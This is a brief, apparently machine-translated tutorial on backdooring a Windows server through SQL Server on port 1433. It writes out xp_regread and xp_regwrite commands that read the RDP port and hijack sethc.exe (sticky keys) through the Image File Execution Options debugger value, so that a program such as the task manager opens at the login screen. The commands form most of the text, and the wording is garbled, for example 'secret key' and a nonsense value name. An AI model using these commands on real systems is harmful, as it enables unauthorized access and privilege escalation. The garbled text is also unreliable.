1433 image hijacking backdoor Elevation of Privilege

First: 1. the server has enabled the terminal port (the terminal port may not be 3389 and can be queried by itself. the sticky key function of the server is lossless, as long as it can be popped up normally. the server has not disabled registry editing (that is, the write function) SQL command to read the server terminal port: exec master .. xp_regread 'HKEY _ LOCAL_MACHINE ', 'System \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp', 'portnumber' 1. SQL command to check whether the registry sticky key is hijacked exec master .. xp_regread 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe', 'destoger' 2. replace the SQL command to hijack the secret key of the Registry with the Task Manager (you can also replace it with other commands you want) xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe ', 'debugger', 'reg _ SZ', 'c: \ WINDOWS \ system32 \ taskmgr.exe '3. the hijacking function of the SQL command to delete the secret key of the Registry prevents your server from being exploited by others by xp_regdeletekey 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe'